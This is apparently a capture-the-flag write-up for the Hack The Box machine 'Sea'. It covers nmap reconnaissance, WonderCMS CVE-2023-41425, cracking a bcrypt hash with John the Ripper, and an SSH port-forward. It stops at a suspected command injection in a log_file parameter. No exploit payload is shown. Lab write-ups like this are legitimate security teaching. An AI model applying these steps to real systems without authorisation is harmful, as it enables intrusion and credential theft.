Sea is an easy-difficulty machine from Hack The Box that initially deals with CVE-2023-41425 which is an XSS vulnerabiity in WonderCMS leading to a remote code execution and then database credentials exfiltration. And finally we’ll be abusing a command injection in an internal monitoring service running as root to pwn the machine.
PS C:\Users\0xkujen> nmap -A-Pn10.129.77.74 Starting Nmap 7.95 ( https://nmap.org ) at 2024-12-2007:54 W. Central Africa Standard Time Nmap scan report for10.129.77.74 Host is up (0.29s latency). Not shown: 998 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 e3:54:e0:72:20:3c:01:42:93:d1:66:9d:90:0c:ab:e8 (RSA) | 256 f3:24:4b:08:aa:51:9d:56:15:3d:67:56:74:7c:20:38 (ECDSA) |_ 25630:b1:05:c6:41:50:ff:22:a3:7f:41:06:0e:67:fd:50 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Sea - Home | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in54.97 seconds
We can see that we have our typical ports 22 for ssh and 80 for http without any apparent redirect.
We are prompted with a simple web application without any clear features: Web Application
Checking the contact button, we can see it redirects to this link: http://sea.htb/contact.php , so let’s go ahead and add sea.htb to our /etc/hosts file.
Then I simply just right clicked on the cover picture to search for it on google hoping to find something interesting: Web Application
And I did! This turns out to be a CMS called WonderCMS and we are also prompted with a CVE for it in the first link! How lucky are we lol.
CVE-2023-41425
CVE-2023-41425 is a Cross Site Scripting (XSS) vulnerability in WonderCMS v3.2.0 thru v3.4.2 allowing for arbitrary code execution by uploading a malicious module to the installModule feature.
And I got a password hash that we can simply crack using johntheripper:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
┌──(kali㉿kali)-[~/hackthebox/sea] └─$ echo'$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q' > hash.txt 1 ⨯ ┌──(kali㉿kali)-[~/hackthebox/sea] └─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt Using default input encoding: UTF-8 Loaded 1 password hash (bcrypt [Blowfish 32/64 X3]) Cost 1 (iteration count) is 1024 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status mychemicalromance (?) 1g 0:00:00:14 DONE (2024-08-11 07:28) 0.06798g/s 208.0p/s 208.0c/s 208.0C/s iamcool..memories Use the "--show" option to display all of the cracked passwords reliably Session completed
I can now ssh into the machine using amay user that we find from the home directory and we can get our user flag:
1 2 3 4 5
amay@sea:~$ cat user.txt e795f4db1c6f32****************** amay@sea:~$ id uid=1000(amay) gid=1000(amay) groups=1000(amay) amay@sea:~$
Privilege Escalation to root
Checking the available network services running, I find an intriguing port 8080:
1 2 3 4 5 6 7 8 9 10 11
amay@sea:~$ netstat -anot Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State Timer tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN off (0.00/0/0) tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN off (0.00/0/0) tcp 0 0 127.0.0.1:51151 0.0.0.0:* LISTEN off (0.00/0/0) tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN off (0.00/0/0) tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN off (0.00/0/0) tcp 0 0 127.0.0.1:8080 127.0.0.1:56026 TIME_WAIT timewait (25.42/0/0) tcp 0 0 127.0.0.1:8080 127.0.0.1:43684 TIME_WAIT timewait (34.45/0/0) tcp 0 0 127.0.0.1:8080 127.0.0.1:43670 TIME_WAIT timewait (31.44/0/0)
Let’s forward that port to our local machine and check what it has for us: ssh [email protected] -L 8080:localhost:8080
And we are prompted to enter a username and a password: Privesc
So let’s login to it using amay‘s creds.
And it looks like some sort of internal monitoring service: Privesc
One of the features is that we can check the access.log file, let’s check the web request being made and understand what’s actually going on under the hood:
We can see that the filename is being passed into a log_file parameter. Maybe we can tamper it to achieve RCE? Let’s try to make a request to our local server using it: